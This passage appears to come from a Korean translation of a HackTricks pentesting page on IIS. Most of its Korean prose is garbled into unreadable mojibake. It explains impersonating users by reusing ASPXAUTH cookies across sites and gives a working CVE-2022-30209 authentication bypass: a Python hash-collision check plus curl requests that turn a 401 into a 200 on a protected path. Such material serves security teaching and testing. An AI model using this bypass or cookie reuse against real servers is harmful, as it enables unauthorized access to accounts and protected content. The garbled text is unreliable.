ํ์ง๋ง ์ผ๋ถ๋ ์ด ๋งค๊ฐ๋ณ์๋ค์ ๊ธฐ๋ณธ๊ฐ์ ์ฌ์ฉํ๊ณ ์ฟ ํค ๊ฐ์ผ๋ก ์ฌ์ฉ์ ์ด๋ฉ์ผ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ๋์ผํ ํ๋ซํผ์ ์ฌ์ฉํ๋ฉฐ ASPXAUTH ์ฟ ํค๋ฅผ ์ฌ์ฉํ๋ ๋ค๋ฅธ ์น์ ์ฐพ๊ณ , ๊ณต๊ฒฉ ๋์ ์๋ฒ์์ ๊ฐ์ฅํ๊ณ ์ถ์ ์ฌ์ฉ์ ์ด๋ฉ์ผ๋ก ๊ณ์ ์ ์์ฑํ๋ฉด ๋ ๋ฒ์งธ ์๋ฒ์ ์ฟ ํค๋ฅผ ์ฒซ ๋ฒ์งธ ์๋ฒ์์ ์ฌ์ฌ์ฉํด ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ ์ ์์ต๋๋ค.\ ์ด ๊ณต๊ฒฉ์ ์ด writeup์์ ์ฑ๊ณตํ์ต๋๋ค.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: ์ฝ๋์ ๋ฒ๊ทธ๋ก ์ธํด ์ฌ์ฉ์๊ฐ ์ ๊ณตํ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋๋ก ๊ฒ์ฌํ์ง ์์์ต๋๋ค. ๋ฐ๋ผ์ ๋น๋ฐ๋ฒํธ ํด์๊ฐ ์บ์์ ์ด๋ฏธ ์กด์ฌํ๋ ํค์ ์ผ์นํ๋ ๊ณต๊ฒฉ์๋ ํด๋น ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
์ฐธ๊ณ ์๋ฃ
- Unit 42 โ Phantom Taurus: ์๋ก์ด ์ค๊ตญ Nexus APT ๋ฐ NET-STAR Malware Suite์ ๋ฐ๊ฒฌ
- AMSI/ETW bypass ๋ฐฐ๊ฒฝ (HackTricks)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


